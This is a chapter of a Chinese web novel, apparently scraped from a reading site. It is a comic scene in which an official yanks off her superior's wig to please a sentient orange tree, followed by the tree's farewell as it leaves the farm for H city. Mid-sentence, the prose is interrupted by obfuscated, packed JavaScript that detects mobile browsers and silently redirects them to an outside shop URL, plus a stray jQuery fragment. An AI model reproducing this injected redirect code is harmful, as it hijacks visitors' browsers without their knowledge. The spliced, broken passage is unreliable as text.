没事,都转正多少年了,区区职业生涯,反正升不了还怕什么!
卸下心头最后一丝顾虑,陈月晴三步并作两步,走到蒋荣华身后,单手握住他头顶的仿真假发,猛力一拽。
那一刻,空气仿佛凝滞了一般。
周围同事齐齐看向陈月晴手中的假发,脸上泛起夸张的笑容,但因理智尚存,拼尽全力将笑容压下,表情反而更加扭曲。
有几人笑点偏低,试图附和蒋主任的哀嚎,说几句场面话,呵斥几句,但张口却只有止不住的笑声,一时间,噗嗤声连绵不断。
而身处事件中心的陈月晴突然视力好转,戴着几年没换的眼镜,依然看清了仿真假发卡扣上夹杂的几根毛发,大概是被硬生生拔下来的,也难怪蒋荣华捂头哀嚎不断。
但,这都不是重点!
一切牺牲都是值得的!看看远处的橘行三吧,笑得多么洒脱、多么自在!叶子和花朵哗哗作响,显然对眼前的这一幕十分满意。
“蒋主任,我这也是无奈之举,橘树们喜欢这种表演,不这样没树愿意跟咱们走啊,为了H市,请您忍忍吧。”在蒋荣华发作之前,陈月晴抢先安抚道。
“呵呵,为人民服务,这点事没关系。”蒋荣华能怎么办,就算陈月晴此举真夹杂了个人情绪,他又能怎么办?
要么,她精神有问题,惹谁也不能惹精神病啊,入职体检还好好的,突然发病,谁有问题?还不是自己这个顶头上司!
要么,她说的都是真的,那颗宝贵、可爱、进化后能帮助生命体觉醒异能的橘树真就爱好特殊。
那只能自认倒霉呗,谁叫他欠的慌非得趁着假期午休的时候出去理发,刚好撞见这个住单位附近的高材生。
离谱了,近视度数这么深,摘下眼镜怎么都能认出来的,临走前还傻愣愣地朝他打招呼,并不想在失去仿真假发时被认出了啊啊啊啊!蒋荣华心里苦,准备回家和老婆哭诉。
现在,他只能顶着地中海,保持冷静,继续工作,只有发红的眼圈证明刚刚发生了尴尬事。
“孟场主,这位橘行三小朋友可还满意?这是愿意和我们去H市了吗?”蒋荣华将假发夺回,犹豫再三,最终只是拿在手里。
舍不得孩子套不着狼,舍不得假发套不着橘树!已经不可能更丢脸了,既然橘行三喜欢看地中海,那就看吧。
蒋荣华看孟羽,孟羽看肯,肯看橘行三。
沉默片刻,肯将橘行三的话复述出来:“小行三没有意见,H市风景秀丽,它也的确该离家远行了,只希望未来每天都能看到这样的表演。”
孟羽自己都没意识到他的表情充满了看热闹的味道。将橘行三的要求表达清楚后,语气雀跃,又问道:“要不,蒋主任再试试邀请其他几棵橘树?”
闻言,蒋荣华看向其他橘树。
肉眼可见的,橘树树干弯向一边,它们对中年秃顶的油腻大叔可没兴趣,别来沾边。
要不是动不了,橘行一等树恨不得学宝米,有多远跑多远。
橘树们嫌弃的态度如此明显,蒋荣华还能说什么呢,无奈道:“孟场主就别说笑了,橘行三阁下能看中我这头顶,我已经万分庆幸了。只要H市能在异能时代发展起来,一顶假发而已,博橘树一笑,有何不可呢?”
这话落下,在座等人立马被架上道德高地。
要不说姜还是老的辣呢,脸皮也是老的厚啊!
唯独橘行三对这位中年大叔略有改观。植物无法说话,但最能感知情绪。它知道自己没有大春母亲那般无私的奉献精神,但这不妨碍它会高看一眼具有奉献精神的生命体。
蒋荣华等人的情绪十分驳杂,橘树们嫌弃的并不是他们的外表,而是浑浊的心。
然而,刚刚那句话,不掺杂任何负面情绪。不管平时行事、目的如何,蒋荣华对辖区内人民的未来是发自内心的关怀。
这一份真心足以令橘行三为之侧目。
枝桠间一朵白色花朵盛开,橘行三央求肯将其赠送给陈月晴。
“赠予陈小姐?”肯有些诧异,刚刚橘行三明明是在称赞蒋荣华啊?好奇道,“刚刚不是在夸奖那位蒋先生吗?”
橘行三摇晃枝叶,将想法传达给肯:“只是有所改观而已。那位女士从始至终都保持干净向上的心,我为什么要奖励一个迷途知返的大叔,为此放弃那个始终在正途上的阿姨呢?”
肯点点头,面色温和,最后的一丝担心彻底消散。
按照橘行三的意思,肯将橘子花交给了陈月晴。短短的枝桠上一朵五瓣白花盛开着,两侧的绿叶衬在花下,朴素却也美好。
陈月晴收到橘行三的赠礼十分惊喜,将橘子花别在胸口口袋上,准备回家养起来。
几人就要离开。出发前,孟羽带着橘行三前往春之园地。这是大春来农场前就孕育了的孩子,他希望母子俩能做个正式告别,哪怕没人能听懂。
至于他,随时都能去H市,告别什么的就省掉吧。反正他也只当了几个月的后爸,孩子应该是想不起他的……
大春与橘行三两树沉默相对,只有不时晃动的树枝,显露出双方激动的情绪。
肯在一旁擦拭眼泪,被两树的母子亲情感动,在哭泣的间隙还不忘给孟羽翻译几句。
“窃鼠鼠七,性行淑均,晓畅电子产品,试用之于昔日,小黄称之曰能,是以众议举七为管。母以为出行之事,悉以咨之,必能使外驻和睦,优劣得所……”
今天发生的事太多,接下来应对异常监管部和天创科技还不一定会发生什么,孟羽早已无力吐槽。
到底是肯在加戏还是大春真的这么有文化,孟羽更倾向于前者,毕竟大春能分辨出哪只窃鼠是鼠七的可能性不大,这家伙分管信息科后每天都在加班,根本没空来春之园地。
奈何身旁的陈月晴等人还是第一次见,难免好奇。
“孟场主,大春阁下和橘行三先生在讨论什么?若是有我们帮得上忙的,尽管吩咐。”
“嘿!哪来的刻板印象,我们行三可是货真价实的黄花大闺女,怎么成‘先生’了?快快改口,这样对儿童性别教育极其不利。”肯一听“先生”二字立刻反驳,异常激动。
橘树们随了大春,性格各异,但底色温和,不会计较,但肯可不能接受。
管女性,尤其是幼儿时期的女性叫先生,在窃鼠族群那可是大大的侮辱,要知道窃鼠群内男性窃鼠与后天转化窃鼠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009739|143834||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一个地位,绝对没有称王的可能。
春之女神虽然包容万物,但本身也是以母本位为主导的神灵,这样的口误近乎是在否定橘行三成神的可能性,多伤自尊啊。
此中种种,孟羽并不清楚,换位思考,想了想那些把女孩当男孩养的家长,也觉得这样不合适。古代七岁不同席,行三的思辨能力肯定在小学以上了,是该强调一下。
“行三是小女孩,能进化到B级都会是春之母树,它们自然只可能是女孩,以后不要叫它先生,对儿童性别教育不利。等到了H市最好立个牌吧,万一有人把它当男性也不好,会抑郁的。”
没确定性别就擅自开口的陈月晴非常惭愧,虚心道歉:“不好意思,我下意识觉得‘先生’是中性称呼了,我回去就找人做游览攻略、宣传视频,绝不会有游客错认。”
和肯、孟羽表达歉意后,陈月晴还特意向大春与橘行三致歉,内心哭泣。
想想也是,母树、母树,怎么可能是“先生”。
然而,事情并不是陈月晴想得那么简单,异界生命体中还真有男性被视为“母”的情况,无性生命体被视为“母”的也数不胜数。
性别影响未来进化上限和成神可能性的现象,仅有几位神灵青睐的种族如此,偏巧这些种族几乎都在农场。
孟羽不懂,但他会猜,像窃鼠、果树、母鸡、蜂群这样的族群百分百是母系社会,猫小三从属的金峰刀客大概率是男性占优,而地精、翼人、羊兽人们则应当不大在意性别。
反正孟羽至今都不知道小翠的性别,它们不分男女,只看是否为王种。这样看来,非典型母系社会架构的生命体本质是尊重孕育生命的“母体”,而非背后的性别。
窃鼠群对母亲的崇拜,说白了还是对力量与权力的追求。
到底该说封建,还是太过超前?
这种选拔机制过于刻板,孟羽总觉得有点混乱,索性放弃思考。母子俩告别完毕后,他与肯一同牵着矿车,一路送橘行三离开。
大约是有感情了,许多投喂过橘行三的窃鼠纷纷放下工作,加入送行队伍。
随着送行队伍的壮大,孟羽总感觉哪里怪怪的,直到几只多才多艺的窃鼠吹起了唢呐、敲起了锣,情至深处,纷纷落泪。
小花也赶上前来,为橘行三戴上了红色丝巾,增添了几分喜庆的气息,扭转了之前沉重的气氛。
孟羽略有所感,回头一看,果然毛小黄在背后默默注视着一切,双眼沧桑,深藏功与名。
虽然出嫁的气氛也很怪,但总比出殡强!
“那什么,回头多从我这买点农产品沤肥,平时你们也多陪陪它,和它讲讲八卦、谈谈最近的电影,给它个平板,偶尔视频通话什么的。”走到门口了,也不好一句话不说,孟羽回忆着橘行三的喜好嘱托道。
陈月晴一口应下:“放心,亲家……不是,孟场主啊,我们一定像对待亲闺女一样对待小行三,有我们一口饭吃,就绝不会让它少吃一口肥!”
被气氛感染再次口误的陈月晴非常尴尬,兢兢业业写了好几年材料,今天真是把这几年的错都犯了。
肯定是这农场有问题!
职业生涯彻底毁了……